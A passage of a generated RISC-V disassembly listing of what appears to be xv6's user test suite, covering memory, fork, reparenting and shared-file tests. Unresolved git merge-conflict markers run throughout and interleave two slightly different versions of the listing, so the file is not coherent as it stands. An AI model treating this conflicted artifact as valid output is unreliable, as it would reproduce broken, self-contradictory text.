3ecc: 60c080e7 jalr 1548(ra) # 54d4 <wait>
=======
if (c == (char *)0xffffffffffffffffL) {
3eae: 57fd li a5,-1
3eb0: 04fa0163 beq s4,a5,3ef2 <sbrkfail+0x128>
pid = fork();
3eb4: 00001097 auipc ra,0x1
3eb8: 610080e7 jalr 1552(ra) # 54c4 <fork>
3ebc: 84aa mv s1,a0
if (pid < 0) {
3ebe: 04054863 bltz a0,3f0e <sbrkfail+0x144>
if (pid == 0) {
3ec2: c525 beqz a0,3f2a <sbrkfail+0x160>
wait(&xstatus);
3ec4: fbc40513 addi a0,s0,-68
3ec8: 00001097 auipc ra,0x1
3ecc: 60c080e7 jalr 1548(ra) # 54d4 <wait>
if (xstatus != -1 && xstatus != 2)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3ed0: fbc42783 lw a5,-68(s0)
3ed4: 577d li a4,-1
3ed6: 00e78563 beq a5,a4,3ee0 <sbrkfail+0x116>
3eda: 4709 li a4,2
3edc: 08e79c63 bne a5,a4,3f74 <sbrkfail+0x1aa>
<<<<<<< HEAD
=======
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3ee0: 70e6 ld ra,120(sp)
3ee2: 7446 ld s0,112(sp)
3ee4: 74a6 ld s1,104(sp)
3ee6: 7906 ld s2,96(sp)
3ee8: 69e6 ld s3,88(sp)
3eea: 6a46 ld s4,80(sp)
3eec: 6aa6 ld s5,72(sp)
3eee: 6109 addi sp,sp,128
3ef0: 8082 ret
<<<<<<< HEAD
3ef2: 85d6 mv a1,s5
3ef4: 00004517 auipc a0,0x4
3ef8: 88c50513 addi a0,a0,-1908 # 7780 <l_free+0x1d18>
3efc: 00002097 auipc ra,0x2
3f00: 94a080e7 jalr -1718(ra) # 5846 <printf>
3f04: 4505 li a0,1
3f06: 00001097 auipc ra,0x1
3f0a: 5c6080e7 jalr 1478(ra) # 54cc <exit>
3f0e: 85d6 mv a1,s5
3f10: 00002517 auipc a0,0x2
3f14: 62050513 addi a0,a0,1568 # 6530 <l_free+0xac8>
3f18: 00002097 auipc ra,0x2
3f1c: 92e080e7 jalr -1746(ra) # 5846 <printf>
3f20: 4505 li a0,1
3f22: 00001097 auipc ra,0x1
3f26: 5aa080e7 jalr 1450(ra) # 54cc <exit>
=======
printf("%s: failed sbrk leaked memory\n", s);
3ef2: 85d6 mv a1,s5
3ef4: 00004517 auipc a0,0x4
3ef8: 88c50513 addi a0,a0,-1908 # 7780 <l_free+0x1d1a>
3efc: 00002097 auipc ra,0x2
3f00: 948080e7 jalr -1720(ra) # 5844 <printf>
exit(1);
3f04: 4505 li a0,1
3f06: 00001097 auipc ra,0x1
3f0a: 5c6080e7 jalr 1478(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
3f0e: 85d6 mv a1,s5
3f10: 00002517 auipc a0,0x2
3f14: 62050513 addi a0,a0,1568 # 6530 <l_free+0xaca>
3f18: 00002097 auipc ra,0x2
3f1c: 92c080e7 jalr -1748(ra) # 5844 <printf>
exit(1);
3f20: 4505 li a0,1
3f22: 00001097 auipc ra,0x1
3f26: 5aa080e7 jalr 1450(ra) # 54cc <exit>
a = sbrk(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3f2a: 4501 li a0,0
3f2c: 00001097 auipc ra,0x1
3f30: 628080e7 jalr 1576(ra) # 5554 <sbrk>
3f34: 892a mv s2,a0
<<<<<<< HEAD
3f36: 3e800537 lui a0,0x3e800
3f3a: 00001097 auipc ra,0x1
3f3e: 61a080e7 jalr 1562(ra) # 5554 <sbrk>
=======
sbrk(10 * BIG);
3f36: 3e800537 lui a0,0x3e800
3f3a: 00001097 auipc ra,0x1
3f3e: 61a080e7 jalr 1562(ra) # 5554 <sbrk>
for (i = 0; i < 10 * BIG; i += PGSIZE) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3f42: 87ca mv a5,s2
3f44: 3e800737 lui a4,0x3e800
3f48: 993a add s2,s2,a4
3f4a: 6705 lui a4,0x1
<<<<<<< HEAD
3f4c: 0007c683 lbu a3,0(a5) # 6400000 <__BSS_END__+0x63f15e0>
3f50: 9cb5 addw s1,s1,a3
3f52: 97ba add a5,a5,a4
3f54: ff279ce3 bne a5,s2,3f4c <sbrkfail+0x182>
3f58: 85a6 mv a1,s1
3f5a: 00004517 auipc a0,0x4
3f5e: 84650513 addi a0,a0,-1978 # 77a0 <l_free+0x1d38>
3f62: 00002097 auipc ra,0x2
3f66: 8e4080e7 jalr -1820(ra) # 5846 <printf>
3f6a: 4505 li a0,1
3f6c: 00001097 auipc ra,0x1
3f70: 560080e7 jalr 1376(ra) # 54cc <exit>
=======
n += *(a + i);
3f4c: 0007c683 lbu a3,0(a5) # 6400000 <__BSS_END__+0x63f1638>
3f50: 9cb5 addw s1,s1,a3
for (i = 0; i < 10 * BIG; i += PGSIZE) {
3f52: 97ba add a5,a5,a4
3f54: ff279ce3 bne a5,s2,3f4c <sbrkfail+0x182>
printf("%s: allocate a lot of memory succeeded %d\n", n);
3f58: 85a6 mv a1,s1
3f5a: 00004517 auipc a0,0x4
3f5e: 84650513 addi a0,a0,-1978 # 77a0 <l_free+0x1d3a>
3f62: 00002097 auipc ra,0x2
3f66: 8e2080e7 jalr -1822(ra) # 5844 <printf>
exit(1);
3f6a: 4505 li a0,1
3f6c: 00001097 auipc ra,0x1
3f70: 560080e7 jalr 1376(ra) # 54cc <exit>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3f74: 4505 li a0,1
3f76: 00001097 auipc ra,0x1
3f7a: 556080e7 jalr 1366(ra) # 54cc <exit>
0000000000003f7e <reparent>:
<<<<<<< HEAD
=======
void reparent(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3f7e: 7179 addi sp,sp,-48
3f80: f406 sd ra,40(sp)
3f82: f022 sd s0,32(sp)
3f84: ec26 sd s1,24(sp)
3f86: e84a sd s2,16(sp)
3f88: e44e sd s3,8(sp)
3f8a: e052 sd s4,0(sp)
3f8c: 1800 addi s0,sp,48
3f8e: 89aa mv s3,a0
<<<<<<< HEAD
=======
int master_pid = getpid();
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3f90: 00001097 auipc ra,0x1
3f94: 5bc080e7 jalr 1468(ra) # 554c <getpid>
3f98: 8a2a mv s4,a0
3f9a: 0c800913 li s2,200
<<<<<<< HEAD
3f9e: 00001097 auipc ra,0x1
3fa2: 526080e7 jalr 1318(ra) # 54c4 <fork>
3fa6: 84aa mv s1,a0
3fa8: 02054263 bltz a0,3fcc <reparent+0x4e>
3fac: cd21 beqz a0,4004 <reparent+0x86>
=======
int pid = fork();
3f9e: 00001097 auipc ra,0x1
3fa2: 526080e7 jalr 1318(ra) # 54c4 <fork>
3fa6: 84aa mv s1,a0
if (pid < 0) {
3fa8: 02054263 bltz a0,3fcc <reparent+0x4e>
if (pid) {
3fac: cd21 beqz a0,4004 <reparent+0x86>
if (wait(0) != pid) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3fae: 4501 li a0,0
3fb0: 00001097 auipc ra,0x1
3fb4: 524080e7 jalr 1316(ra) # 54d4 <wait>
3fb8: 02951863 bne a0,s1,3fe8 <reparent+0x6a>
<<<<<<< HEAD
3fbc: 397d addiw s2,s2,-1
3fbe: fe0910e3 bnez s2,3f9e <reparent+0x20>
3fc2: 4501 li a0,0
3fc4: 00001097 auipc ra,0x1
3fc8: 508080e7 jalr 1288(ra) # 54cc <exit>
3fcc: 85ce mv a1,s3
3fce: 00002517 auipc a0,0x2
3fd2: 56250513 addi a0,a0,1378 # 6530 <l_free+0xac8>
3fd6: 00002097 auipc ra,0x2
3fda: 870080e7 jalr -1936(ra) # 5846 <printf>
3fde: 4505 li a0,1
3fe0: 00001097 auipc ra,0x1
3fe4: 4ec080e7 jalr 1260(ra) # 54cc <exit>
3fe8: 85ce mv a1,s3
3fea: 00002517 auipc a0,0x2
3fee: 6ce50513 addi a0,a0,1742 # 66b8 <l_free+0xc50>
3ff2: 00002097 auipc ra,0x2
3ff6: 854080e7 jalr -1964(ra) # 5846 <printf>
3ffa: 4505 li a0,1
3ffc: 00001097 auipc ra,0x1
4000: 4d0080e7 jalr 1232(ra) # 54cc <exit>
4004: 00001097 auipc ra,0x1
4008: 4c0080e7 jalr 1216(ra) # 54c4 <fork>
400c: 00054763 bltz a0,401a <reparent+0x9c>
4010: 4501 li a0,0
4012: 00001097 auipc ra,0x1
4016: 4ba080e7 jalr 1210(ra) # 54cc <exit>
401a: 8552 mv a0,s4
401c: 00001097 auipc ra,0x1
4020: 4e0080e7 jalr 1248(ra) # 54fc <kill>
=======
for (int i = 0; i < 200; i++) {
3fbc: 397d addiw s2,s2,-1
3fbe: fe0910e3 bnez s2,3f9e <reparent+0x20>
exit(0);
3fc2: 4501 li a0,0
3fc4: 00001097 auipc ra,0x1
3fc8: 508080e7 jalr 1288(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
3fcc: 85ce mv a1,s3
3fce: 00002517 auipc a0,0x2
3fd2: 56250513 addi a0,a0,1378 # 6530 <l_free+0xaca>
3fd6: 00002097 auipc ra,0x2
3fda: 86e080e7 jalr -1938(ra) # 5844 <printf>
exit(1);
3fde: 4505 li a0,1
3fe0: 00001097 auipc ra,0x1
3fe4: 4ec080e7 jalr 1260(ra) # 54cc <exit>
printf("%s: wait wrong pid\n", s);
3fe8: 85ce mv a1,s3
3fea: 00002517 auipc a0,0x2
3fee: 6ce50513 addi a0,a0,1742 # 66b8 <l_free+0xc52>
3ff2: 00002097 auipc ra,0x2
3ff6: 852080e7 jalr -1966(ra) # 5844 <printf>
exit(1);
3ffa: 4505 li a0,1
3ffc: 00001097 auipc ra,0x1
4000: 4d0080e7 jalr 1232(ra) # 54cc <exit>
int pid2 = fork();
4004: 00001097 auipc ra,0x1
4008: 4c0080e7 jalr 1216(ra) # 54c4 <fork>
if (pid2 < 0) {
400c: 00054763 bltz a0,401a <reparent+0x9c>
exit(0);
4010: 4501 li a0,0
4012: 00001097 auipc ra,0x1
4016: 4ba080e7 jalr 1210(ra) # 54cc <exit>
kill(master_pid);
401a: 8552 mv a0,s4
401c: 00001097 auipc ra,0x1
4020: 4e0080e7 jalr 1248(ra) # 54fc <kill>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4024: 4505 li a0,1
4026: 00001097 auipc ra,0x1
402a: 4a6080e7 jalr 1190(ra) # 54cc <exit>
000000000000402e <mem>:
<<<<<<< HEAD
=======
void mem(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
402e: 7139 addi sp,sp,-64
4030: fc06 sd ra,56(sp)
4032: f822 sd s0,48(sp)
4034: f426 sd s1,40(sp)
4036: f04a sd s2,32(sp)
4038: ec4e sd s3,24(sp)
403a: 0080 addi s0,sp,64
403c: 89aa mv s3,a0
<<<<<<< HEAD
403e: 00001097 auipc ra,0x1
4042: 486080e7 jalr 1158(ra) # 54c4 <fork>
4046: 4481 li s1,0
4048: 6909 lui s2,0x2
404a: 71190913 addi s2,s2,1809 # 2711 <sbrkbugs+0x3d>
404e: c115 beqz a0,4072 <mem+0x44>
4050: fcc40513 addi a0,s0,-52
4054: 00001097 auipc ra,0x1
4058: 480080e7 jalr 1152(ra) # 54d4 <wait>
405c: fcc42503 lw a0,-52(s0)
4060: 57fd li a5,-1
4062: 06f50363 beq a0,a5,40c8 <mem+0x9a>
4066: 00001097 auipc ra,0x1
406a: 466080e7 jalr 1126(ra) # 54cc <exit>
406e: e104 sd s1,0(a0)
4070: 84aa mv s1,a0
4072: 854a mv a0,s2
4074: 00002097 auipc ra,0x2
4078: 890080e7 jalr -1904(ra) # 5904 <malloc>
407c: f96d bnez a0,406e <mem+0x40>
407e: c881 beqz s1,408e <mem+0x60>
4080: 8526 mv a0,s1
4082: 6084 ld s1,0(s1)
4084: 00001097 auipc ra,0x1
4088: 7f8080e7 jalr 2040(ra) # 587c <free>
408c: f8f5 bnez s1,4080 <mem+0x52>
408e: 6515 lui a0,0x5
4090: 00002097 auipc ra,0x2
4094: 874080e7 jalr -1932(ra) # 5904 <malloc>
4098: c911 beqz a0,40ac <mem+0x7e>
409a: 00001097 auipc ra,0x1
409e: 7e2080e7 jalr 2018(ra) # 587c <free>
40a2: 4501 li a0,0
40a4: 00001097 auipc ra,0x1
40a8: 428080e7 jalr 1064(ra) # 54cc <exit>
40ac: 85ce mv a1,s3
40ae: 00003517 auipc a0,0x3
40b2: 72250513 addi a0,a0,1826 # 77d0 <l_free+0x1d68>
40b6: 00001097 auipc ra,0x1
40ba: 790080e7 jalr 1936(ra) # 5846 <printf>
40be: 4505 li a0,1
40c0: 00001097 auipc ra,0x1
40c4: 40c080e7 jalr 1036(ra) # 54cc <exit>
=======
if ((pid = fork()) == 0) {
403e: 00001097 auipc ra,0x1
4042: 486080e7 jalr 1158(ra) # 54c4 <fork>
m1 = 0;
4046: 4481 li s1,0
while ((m2 = malloc(10001)) != 0) {
4048: 6909 lui s2,0x2
404a: 71190913 addi s2,s2,1809 # 2711 <sbrkbugs+0x3d>
if ((pid = fork()) == 0) {
404e: c115 beqz a0,4072 <mem+0x44>
wait(&xstatus);
4050: fcc40513 addi a0,s0,-52
4054: 00001097 auipc ra,0x1
4058: 480080e7 jalr 1152(ra) # 54d4 <wait>
if (xstatus == -1) {
405c: fcc42503 lw a0,-52(s0)
4060: 57fd li a5,-1
4062: 06f50363 beq a0,a5,40c8 <mem+0x9a>
exit(xstatus);
4066: 00001097 auipc ra,0x1
406a: 466080e7 jalr 1126(ra) # 54cc <exit>
*(char **)m2 = m1;
406e: e104 sd s1,0(a0)
m1 = m2;
4070: 84aa mv s1,a0
while ((m2 = malloc(10001)) != 0) {
4072: 854a mv a0,s2
4074: 00002097 auipc ra,0x2
4078: 88e080e7 jalr -1906(ra) # 5902 <malloc>
407c: f96d bnez a0,406e <mem+0x40>
while (m1) {
407e: c881 beqz s1,408e <mem+0x60>
m2 = *(char **)m1;
4080: 8526 mv a0,s1
4082: 6084 ld s1,0(s1)
free(m1);
4084: 00001097 auipc ra,0x1
4088: 7f6080e7 jalr 2038(ra) # 587a <free>
while (m1) {
408c: f8f5 bnez s1,4080 <mem+0x52>
m1 = malloc(1024 * 20);
408e: 6515 lui a0,0x5
4090: 00002097 auipc ra,0x2
4094: 872080e7 jalr -1934(ra) # 5902 <malloc>
if (m1 == 0) {
4098: c911 beqz a0,40ac <mem+0x7e>
free(m1);
409a: 00001097 auipc ra,0x1
409e: 7e0080e7 jalr 2016(ra) # 587a <free>
exit(0);
40a2: 4501 li a0,0
40a4: 00001097 auipc ra,0x1
40a8: 428080e7 jalr 1064(ra) # 54cc <exit>
printf("couldn't allocate mem?!!\n", s);
40ac: 85ce mv a1,s3
40ae: 00003517 auipc a0,0x3
40b2: 72250513 addi a0,a0,1826 # 77d0 <l_free+0x1d6a>
40b6: 00001097 auipc ra,0x1
40ba: 78e080e7 jalr 1934(ra) # 5844 <printf>
exit(1);
40be: 4505 li a0,1
40c0: 00001097 auipc ra,0x1
40c4: 40c080e7 jalr 1036(ra) # 54cc <exit>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
40c8: 4501 li a0,0
40ca: 00001097 auipc ra,0x1
40ce: 402080e7 jalr 1026(ra) # 54cc <exit>
00000000000040d2 <sharedfd>:
<<<<<<< HEAD
=======
void sharedfd(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
40d2: 7159 addi sp,sp,-112
40d4: f486 sd ra,104(sp)
40d6: f0a2 sd s0,96(sp)
40d8: eca6 sd s1,88(sp)
40da: e8ca sd s2,80(sp)
40dc: e4ce sd s3,72(sp)
40de: e0d2 sd s4,64(sp)
40e0: fc56 sd s5,56(sp)
40e2: f85a sd s6,48(sp)
40e4: f45e sd s7,40(sp)
40e6: 1880 addi s0,sp,112
40e8: 8a2a mv s4,a0
<<<<<<< HEAD
40ea: 00002517 auipc a0,0x2
40ee: b2650513 addi a0,a0,-1242 # 5c10 <l_free+0x1a8>
40f2: 00001097 auipc ra,0x1
40f6: 42a080e7 jalr 1066(ra) # 551c <unlink>
40fa: 20200593 li a1,514
40fe: 00002517 auipc a0,0x2
4102: b1250513 addi a0,a0,-1262 # 5c10 <l_free+0x1a8>
4106: 00001097 auipc ra,0x1
410a: 406080e7 jalr 1030(ra) # 550c <open>
410e: 04054a63 bltz a0,4162 <sharedfd+0x90>
4112: 892a mv s2,a0
4114: 00001097 auipc ra,0x1
4118: 3b0080e7 jalr 944(ra) # 54c4 <fork>
411c: 89aa mv s3,a0
=======
unlink("sharedfd");
40ea: 00002517 auipc a0,0x2
40ee: b2650513 addi a0,a0,-1242 # 5c10 <l_free+0x1aa>
40f2: 00001097 auipc ra,0x1
40f6: 42a080e7 jalr 1066(ra) # 551c <unlink>
fd = open("sharedfd", O_CREATE | O_RDWR);
40fa: 20200593 li a1,514
40fe: 00002517 auipc a0,0x2
4102: b1250513 addi a0,a0,-1262 # 5c10 <l_free+0x1aa>
4106: 00001097 auipc ra,0x1
410a: 406080e7 jalr 1030(ra) # 550c <open>
if (fd < 0) {
410e: 04054a63 bltz a0,4162 <sharedfd+0x90>
4112: 892a mv s2,a0
pid = fork();
4114: 00001097 auipc ra,0x1
4118: 3b0080e7 jalr 944(ra) # 54c4 <fork>
411c: 89aa mv s3,a0
memset(buf, pid == 0 ? 'c' : 'p', sizeof(buf));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
411e: 06300593 li a1,99
4122: c119 beqz a0,4128 <sharedfd+0x56>
4124: 07000593 li a1,112
4128: 4629 li a2,10
412a: fa040513 addi a0,s0,-96
412e: 00001097 auipc ra,0x1
4132: 1a2080e7 jalr 418(ra) # 52d0 <memset>
4136: 3e800493 li s1,1000
<<<<<<< HEAD
=======
if (write(fd, buf, sizeof(buf)) != sizeof(buf)) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
413a: 4629 li a2,10
413c: fa040593 addi a1,s0,-96
4140: 854a mv a0,s2
4142: 00001097 auipc ra,0x1
4146: 3aa080e7 jalr 938(ra) # 54ec <write>
414a: 47a9 li a5,10
414c: 02f51963 bne a0,a5,417e <sharedfd+0xac>
<<<<<<< HEAD
4150: 34fd addiw s1,s1,-1
4152: f4e5 bnez s1,413a <sharedfd+0x68>
4154: 04099363 bnez s3,419a <sharedfd+0xc8>
4158: 4501 li a0,0
415a: 00001097 auipc ra,0x1
415e: 372080e7 jalr 882(ra) # 54cc <exit>
4162: 85d2 mv a1,s4
4164: 00003517 auipc a0,0x3
4168: 68c50513 addi a0,a0,1676 # 77f0 <l_free+0x1d88>
416c: 00001097 auipc ra,0x1
4170: 6da080e7 jalr 1754(ra) # 5846 <printf>
4174: 4505 li a0,1
4176: 00001097 auipc ra,0x1
417a: 356080e7 jalr 854(ra) # 54cc <exit>
417e: 85d2 mv a1,s4
4180: 00003517 auipc a0,0x3
4184: 69850513 addi a0,a0,1688 # 7818 <l_free+0x1db0>
4188: 00001097 auipc ra,0x1
418c: 6be080e7 jalr 1726(ra) # 5846 <printf>
4190: 4505 li a0,1
4192: 00001097 auipc ra,0x1
4196: 33a080e7 jalr 826(ra) # 54cc <exit>
419a: f9c40513 addi a0,s0,-100
419e: 00001097 auipc ra,0x1
41a2: 336080e7 jalr 822(ra) # 54d4 <wait>
41a6: f9c42983 lw s3,-100(s0)
41aa: 00098763 beqz s3,41b8 <sharedfd+0xe6>
41ae: 854e mv a0,s3
41b0: 00001097 auipc ra,0x1
41b4: 31c080e7 jalr 796(ra) # 54cc <exit>
41b8: 854a mv a0,s2
41ba: 00001097 auipc ra,0x1
41be: 33a080e7 jalr 826(ra) # 54f4 <close>
41c2: 4581 li a1,0
41c4: 00002517 auipc a0,0x2
41c8: a4c50513 addi a0,a0,-1460 # 5c10 <l_free+0x1a8>
41cc: 00001097 auipc ra,0x1
41d0: 340080e7 jalr 832(ra) # 550c <open>
41d4: 8baa mv s7,a0
41d6: 8ace mv s5,s3
41d8: 02054563 bltz a0,4202 <sharedfd+0x130>
41dc: faa40913 addi s2,s0,-86
41e0: 06300493 li s1,99
41e4: 07000b13 li s6,112
=======
for (i = 0; i < N; i++) {
4150: 34fd addiw s1,s1,-1
4152: f4e5 bnez s1,413a <sharedfd+0x68>
if (pid == 0) {
4154: 04099363 bnez s3,419a <sharedfd+0xc8>
exit(0);
4158: 4501 li a0,0
415a: 00001097 auipc ra,0x1
415e: 372080e7 jalr 882(ra) # 54cc <exit>
printf("%s: cannot open sharedfd for writing", s);
4162: 85d2 mv a1,s4
4164: 00003517 auipc a0,0x3
4168: 68c50513 addi a0,a0,1676 # 77f0 <l_free+0x1d8a>
416c: 00001097 auipc ra,0x1
4170: 6d8080e7 jalr 1752(ra) # 5844 <printf>
exit(1);
4174: 4505 li a0,1
4176: 00001097 auipc ra,0x1
417a: 356080e7 jalr 854(ra) # 54cc <exit>
printf("%s: write sharedfd failed\n", s);
417e: 85d2 mv a1,s4
4180: 00003517 auipc a0,0x3
4184: 69850513 addi a0,a0,1688 # 7818 <l_free+0x1db2>
4188: 00001097 auipc ra,0x1
418c: 6bc080e7 jalr 1724(ra) # 5844 <printf>
exit(1);
4190: 4505 li a0,1
4192: 00001097 auipc ra,0x1
4196: 33a080e7 jalr 826(ra) # 54cc <exit>
wait(&xstatus);
419a: f9c40513 addi a0,s0,-100
419e: 00001097 auipc ra,0x1
41a2: 336080e7 jalr 822(ra) # 54d4 <wait>
if (xstatus != 0)
41a6: f9c42983 lw s3,-100(s0)
41aa: 00098763 beqz s3,41b8 <sharedfd+0xe6>
exit(xstatus);
41ae: 854e mv a0,s3
41b0: 00001097 auipc ra,0x1
41b4: 31c080e7 jalr 796(ra) # 54cc <exit>
close(fd);
41b8: 854a mv a0,s2
41ba: 00001097 auipc ra,0x1
41be: 33a080e7 jalr 826(ra) # 54f4 <close>
fd = open("sharedfd", 0);
41c2: 4581 li a1,0
41c4: 00002517 auipc a0,0x2
41c8: a4c50513 addi a0,a0,-1460 # 5c10 <l_free+0x1aa>
41cc: 00001097 auipc ra,0x1
41d0: 340080e7 jalr 832(ra) # 550c <open>
41d4: 8baa mv s7,a0
nc = np = 0;
41d6: 8ace mv s5,s3
if (fd < 0) {
41d8: 02054563 bltz a0,4202 <sharedfd+0x130>
41dc: faa40913 addi s2,s0,-86
if (buf[i] == 'c')
41e0: 06300493 li s1,99
if (buf[i] == 'p')
41e4: 07000b13 li s6,112
while ((n = read(fd, buf, sizeof(buf))) > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
41e8: 4629 li a2,10
41ea: fa040593 addi a1,s0,-96
41ee: 855e mv a0,s7
41f0: 00001097 auipc ra,0x1
41f4: 2f4080e7 jalr 756(ra) # 54e4 <read>
41f8: 02a05f63 blez a0,4236 <sharedfd+0x164>
41fc: fa040793 addi a5,s0,-96
4200: a01d j 4226 <sharedfd+0x154>
<<<<<<< HEAD
4202: 85d2 mv a1,s4
4204: 00003517 auipc a0,0x3
4208: 63450513 addi a0,a0,1588 # 7838 <l_free+0x1dd0>
420c: 00001097 auipc ra,0x1
4210: 63a080e7 jalr 1594(ra) # 5846 <printf>
4214: 4505 li a0,1
4216: 00001097 auipc ra,0x1
421a: 2b6080e7 jalr 694(ra) # 54cc <exit>
421e: 2985 addiw s3,s3,1
4220: 0785 addi a5,a5,1
4222: fd2783e3 beq a5,s2,41e8 <sharedfd+0x116>
4226: 0007c703 lbu a4,0(a5)
422a: fe970ae3 beq a4,s1,421e <sharedfd+0x14c>
422e: ff6719e3 bne a4,s6,4220 <sharedfd+0x14e>
4232: 2a85 addiw s5,s5,1
4234: b7f5 j 4220 <sharedfd+0x14e>
4236: 855e mv a0,s7
4238: 00001097 auipc ra,0x1
423c: 2bc080e7 jalr 700(ra) # 54f4 <close>
4240: 00002517 auipc a0,0x2
4244: 9d050513 addi a0,a0,-1584 # 5c10 <l_free+0x1a8>
4248: 00001097 auipc ra,0x1
424c: 2d4080e7 jalr 724(ra) # 551c <unlink>
=======
printf("%s: cannot open sharedfd for reading\n", s);
4202: 85d2 mv a1,s4
4204: 00003517 auipc a0,0x3
4208: 63450513 addi a0,a0,1588 # 7838 <l_free+0x1dd2>
420c: 00001097 auipc ra,0x1
4210: 638080e7 jalr 1592(ra) # 5844 <printf>
exit(1);
4214: 4505 li a0,1
4216: 00001097 auipc ra,0x1
421a: 2b6080e7 jalr 694(ra) # 54cc <exit>
nc++;
421e: 2985 addiw s3,s3,1
for (i = 0; i < sizeof(buf); i++) {
4220: 0785 addi a5,a5,1
4222: fd2783e3 beq a5,s2,41e8 <sharedfd+0x116>
if (buf[i] == 'c')
4226: 0007c703 lbu a4,0(a5)
422a: fe970ae3 beq a4,s1,421e <sharedfd+0x14c>
if (buf[i] == 'p')
422e: ff6719e3 bne a4,s6,4220 <sharedfd+0x14e>
np++;
4232: 2a85 addiw s5,s5,1
4234: b7f5 j 4220 <sharedfd+0x14e>
close(fd);
4236: 855e mv a0,s7
4238: 00001097 auipc ra,0x1
423c: 2bc080e7 jalr 700(ra) # 54f4 <close>
unlink("sharedfd");
4240: 00002517 auipc a0,0x2
4244: 9d050513 addi a0,a0,-1584 # 5c10 <l_free+0x1aa>
4248: 00001097 auipc ra,0x1
424c: 2d4080e7 jalr 724(ra) # 551c <unlink>
if (nc == N * SZ && np == N * SZ) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4250: 6789 lui a5,0x2
4252: 71078793 addi a5,a5,1808 # 2710 <sbrkbugs+0x3c>
4256: 00f99763 bne s3,a5,4264 <sharedfd+0x192>
425a: 6789 lui a5,0x2
425c: 71078793 addi a5,a5,1808 # 2710 <sbrkbugs+0x3c>
4260: 02fa8063 beq s5,a5,4280 <sharedfd+0x1ae>
<<<<<<< HEAD
4264: 85d2 mv a1,s4
4266: 00003517 auipc a0,0x3
426a: 5fa50513 addi a0,a0,1530 # 7860 <l_free+0x1df8>
426e: 00001097 auipc ra,0x1
4272: 5d8080e7 jalr 1496(ra) # 5846 <printf>
4276: 4505 li a0,1
4278: 00001097 auipc ra,0x1
427c: 254080e7 jalr 596(ra) # 54cc <exit>
=======
printf("%s: nc/np test fails\n", s);
4264: 85d2 mv a1,s4
4266: 00003517 auipc a0,0x3
426a: 5fa50513 addi a0,a0,1530 # 7860 <l_free+0x1dfa>
426e: 00001097 auipc ra,0x1
4272: 5d6080e7 jalr 1494(ra) # 5844 <printf>
exit(1);
4276: 4505 li a0,1
4278: 00001097 auipc ra,0x1
427c: 254080e7 jalr 596(ra) # 54cc <exit>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4280: 4501 li a0,0
4282: 00001097 auipc ra,0x1
4286: 24a080e7 jalr 586(ra) # 54cc <exit>
000000000000428a <fourfiles>:
<<<<<<< HEAD
=======
void fourfiles(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
428a: 7171 addi sp,sp,-176
428c: f506 sd ra,168(sp)
428e: f122 sd s0,160(sp)
4290: ed26 sd s1,152(sp)
4292: e94a sd s2,144(sp)
4294: e54e sd s3,136(sp)
4296: e152 sd s4,128(sp)
4298: fcd6 sd s5,120(sp)
429a: f8da sd s6,112(sp)
429c: f4de sd s7,104(sp)
429e: f0e2 sd s8,96(sp)
42a0: ece6 sd s9,88(sp)
42a2: e8ea sd s10,80(sp)
42a4: e4ee sd s11,72(sp)
42a6: 1900 addi s0,sp,176
42a8: f4a43c23 sd a0,-168(s0)
<<<<<<< HEAD
42ac: 00001797 auipc a5,0x1
42b0: 7cc78793 addi a5,a5,1996 # 5a78 <l_free+0x10>
42b4: f6f43823 sd a5,-144(s0)
42b8: 00001797 auipc a5,0x1
42bc: 7c878793 addi a5,a5,1992 # 5a80 <l_free+0x18>
42c0: f6f43c23 sd a5,-136(s0)
42c4: 00001797 auipc a5,0x1
42c8: 7c478793 addi a5,a5,1988 # 5a88 <l_free+0x20>
42cc: f8f43023 sd a5,-128(s0)
42d0: 00001797 auipc a5,0x1
42d4: 7c078793 addi a5,a5,1984 # 5a90 <l_free+0x28>
42d8: f8f43423 sd a5,-120(s0)
42dc: f7040c13 addi s8,s0,-144
42e0: 8962 mv s2,s8
42e2: 4481 li s1,0
42e4: 4a11 li s4,4
42e6: 00093983 ld s3,0(s2)
42ea: 854e mv a0,s3
42ec: 00001097 auipc ra,0x1
42f0: 230080e7 jalr 560(ra) # 551c <unlink>
42f4: 00001097 auipc ra,0x1
42f8: 1d0080e7 jalr 464(ra) # 54c4 <fork>
42fc: 04054463 bltz a0,4344 <fourfiles+0xba>
4300: c12d beqz a0,4362 <fourfiles+0xd8>
=======
char *names[] = {"f0", "f1", "f2", "f3"};
42ac: 00001797 auipc a5,0x1
42b0: 7cc78793 addi a5,a5,1996 # 5a78 <l_free+0x12>
42b4: f6f43823 sd a5,-144(s0)
42b8: 00001797 auipc a5,0x1
42bc: 7c878793 addi a5,a5,1992 # 5a80 <l_free+0x1a>
42c0: f6f43c23 sd a5,-136(s0)
42c4: 00001797 auipc a5,0x1
42c8: 7c478793 addi a5,a5,1988 # 5a88 <l_free+0x22>
42cc: f8f43023 sd a5,-128(s0)
42d0: 00001797 auipc a5,0x1
42d4: 7c078793 addi a5,a5,1984 # 5a90 <l_free+0x2a>
42d8: f8f43423 sd a5,-120(s0)
for (pi = 0; pi < NCHILD; pi++) {
42dc: f7040c13 addi s8,s0,-144
char *names[] = {"f0", "f1", "f2", "f3"};
42e0: 8962 mv s2,s8
for (pi = 0; pi < NCHILD; pi++) {
42e2: 4481 li s1,0
42e4: 4a11 li s4,4
fname = names[pi];
